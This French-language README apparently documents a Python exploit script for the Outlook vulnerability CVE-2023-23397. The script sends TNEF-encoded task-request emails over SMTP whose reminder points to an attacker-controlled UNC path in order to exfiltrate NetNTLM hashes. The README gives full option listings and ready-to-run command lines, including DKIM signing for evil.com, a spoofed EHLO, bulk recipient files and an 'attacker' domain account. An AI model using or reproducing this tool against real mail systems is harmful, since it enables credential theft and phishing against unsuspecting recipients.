
Script Python pour envoyer des e-mails avec un payload CVE-2023-23397 via SMTP
Ce script permet de créer des e-mails Outlook encodés en TNEF avec la charge utile d'exploitation CVE-2023-23397 et de les envoyer via SMTP pur - pas besoin d'objets COM ou EWS.
Je n'ai pas réussi à faire fonctionner correctement la classe de message IPM.Schedule.Meeting.Request (elle génère à la fois la réunion et le rappel mais n'honore pas la propriété PidLidReminderOverride pour une raison quelconque), donc à la place le script abuse de la classe IPM.TaskRequest. Cela génère une fenêtre contextuelle de rappel de réunion malveillante comme dans l'exploit original, mais le destinataire ne peut pas voir le corps du message ni les détails de la réunion. Dans OWA, cependant, l'e-mail ressemble à un message ordinaire sans rendez-vous.
Testé sur Outlook365 16130.20218 et Outlook 2019 10395.20020. Notez que la pièce jointe TNEF et les en-têtes peuvent ne pas passer les filtres anti-spam lors de l'envoi des e-mails en externe - je n'ai testé qu'en envoyant les e-mails directement (ou via un relais Postfix) vers Exchange depuis une machine Linux sur le même réseau local.
options:
-h, --help afficher ce message d'aide et quitter
-s SERVER, --server SERVER
relais SMTP (hôte[:port]), par défaut : localhost:25
-f SENDER, --from SENDER
adresse e-mail de l'expéditeur
-t TO, --to TO adresse(s) e-mail du destinataire, chemin vers un fichier ou valeurs séparées par des virgules
-S SUBJECT, --subject SUBJECT
objet du message
-r ROOM, --room ROOM lieu de la réunion (nom de la salle), par défaut : Meeting Room #1
-b BODY, --body BODY corps du message en texte brut (ou chemin vers un fichier)
--html HTML corps du message en HTML (ou chemin vers un fichier)
-p PATH, --path PATH chemin de fichier distant pour l'exfiltration NetNTLM, ex : \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH nom_utilisateur:mot_de_passe pour la commande AUTH si un envoi authentifié est requis
--codepage CODEPAGE page de codes Windows (ex : 1252=ASCII, 65001=Unicode) pour encoder le corps HTML (s'il y en a un), par défaut : 1252
--ehlo EHLO, --helo EHLO
argument de la commande EHLO (nom d'hôte externe de l'expéditeur)
-l LANG, --lang LANG valeur de l'en-tête Content-Language, par défaut : en-US
--starttls Utiliser STARTTLS lors des communications SMTP en texte clair
--max-rcpts MAX_RCPTS
Nombre maximal de destinataires par tentative d'envoi
-v Activer les sorties de débogage
Signature DKIM des messages :
--dkim-selector DKIM_SELECTOR
sélecteur DKIM
--dkim-key DKIM_KEY chemin du fichier de clé privée DKIM
--dkim-domain DKIM_DOMAIN
nom de domaine DKIM, par défaut : partie après @ de l'adresse de l'expéditeur
Envoyer l'e-mail de [email protected] à [email protected] :
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
Envoyer l'e-mail à plusieurs destinataires avec TLS opportuniste et corps HTML depuis un fichier :
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
Envoyer l'e-mail avec signature DKIM (nécessite pip install dkimpy) et nom de domaine personnalisé dans la commande EHLO, destinataires chargés depuis un fichier, trois destinataires par message :
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
Envoyer l'e-mail avec des identifiants de domaine :
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls